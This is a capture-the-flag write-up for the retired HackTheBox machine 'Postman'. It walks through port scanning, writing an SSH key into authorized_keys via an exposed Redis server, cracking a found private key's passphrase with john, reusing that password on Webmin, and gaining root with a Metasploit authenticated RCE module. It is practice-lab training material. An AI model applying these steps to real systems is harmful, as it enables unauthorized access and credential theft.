HackTheBox -Retired - Postman

HackTheBox -Retired - Postman

Recon:

As always I start with a simple up/down scan on all TCP ports

# nmap -T4 -p- -oX /root/Desktop/HTB/postman/nmapb.xml 10.10.10.160

Then I convert the XML to HTML

Xsltproc /root/desktop/HTB/postman/nmapb.xml -o /root/Desktop/HTB/postman/nmapb.html

Ok we see port 22,80,6379 and 1000

Lets scan just those ports with the -A to finger os/services

Nmap -T4 -p 22,80, 6379,10000 -oX /root/Desktop/HTB/postman/nmapf.xml

Convert that to html too

Xsltproc /root/Desktop/HTB/postman/nmapf.xml -o /root/Desktop/HTB/postman/nmpaf.html

Ok we got SSH (Openssh 7.6p1) on port 22

HTTP ( Apache 2.4.29) on port 80

REDIS ( 4.0.9) on 6379

WEBMIN (1.910) on 10000

Let's see what's running on port 80

Just a generic page with not much to poke at

Let's run dirb at port 80 and see what we see

It found some directories to poke around in /css /fonts /images /js and 

/Uploads

I really like finding dir's that are called uploads, usually that means there is someway to upload a file to the server…… 

What about port 1000 webmin?

Its running in ssl

Needs creds..

Let's do a little digging on the Redis service.. So what is Redis?

https://redis.io/

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.

It has a cli

https://redis.io/topics/rediscli

Let's install it

Sudo apt-get install redis

Let's see if we can connect up to it

Cool, we can… so what can we do?

Exploit:

https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

When I come across a tool I don't have any experience with I like to google the tools name then pentest to see what are the juicy bits

https://book.hacktricks.xyz/pentesting/6379-pentesting-redis

Inserting our own ssh key on to the server to connect up..

Sounds worth a try.

Let's start with Generating our SSH keys

ssh-keygen -t rsa

Now we are going to put some padding around the pub key just like they blog

(echo -e "\n\n"; cat ./keyz.pub; echo -e "\n\n") > pubkey.txt

Now we need to move the file over to redis

cat ./pubkey.txt | redis-cli -h postman.htb -x set crackit

Connect backup to redis to save our file

redis-cli -h postman.htb

Now this part took a while to find out where to save the pub key.

When connected up we were in this directory

/var/lib/redis

I tried setting the dir to /home.. But got permission denied.

But what if this file path is the home directory for a user named redis… if we add our file here in .ssh maybe we can get our shell?

config set dir /var/lib/redis/.ssh

config set dbfilename "authorized_keys"

save

This should take the file we put in redis and save it as a file named "authorized_keys" in the /.ssh folder

Now we can hopefully ssh in as redis

 ssh -i ./keyz redis@postman.htb

Alright we have a foothold as redis..

Let's copy over LinEnum.sh to see if we can find any path for escalation.

Check this out

A backup of a key in a folder we might have access to?

We got a private key… I just used the clipboard to copy it locally to my machine

I changed the permission to only my user so SSH wouldn't complain about it being too open.

I save it as MattPriv

 

There's a passphrase… no problem we can get rid of that..

We can use ssh2john to format the key to a format that john likes

/usr/share/john/ssh2john.py  ./MattPriv > johnmattpriv.txt

Now we just need to feed it to john

 sudo john --wordlist=/home/circusmonkey/rockyou.txt --format=SSH ./johnmattpriv.txt

That didn't take long computer2008 is the password for the SSH key

It's not letting us SSH with that password… 

What about that webmin thing we found earlier? It needed creds… hopefully Matt re-uses passwords

An guess what?

He did, got in with Matt computer2008.

Googling around I found this authenticated RCE which if it works will give us root on the box..

https://www.rapid7.com/db/modules/exploit/linux/http/webmin_packageup_rce

Let's try it

Fire up metasploit and search webmin

Use 3

Set our options

We need to set the password, username, rhosts, lhosts and set the SSL flags to True since our victim is using ssl   *** you might see i mistyped the password option.. I Fixed that after metasploit complained

We are in as root

Let's just grab our flags now

The shell is not working great

Did the command "Shell" on the session to get a better shell

All done

# pwd 

pwd

/home/Matt

# cat user.txt

cat user.txt

517a***************************

# cat /root/root.txt

cat /root/root.txt

a257*******************************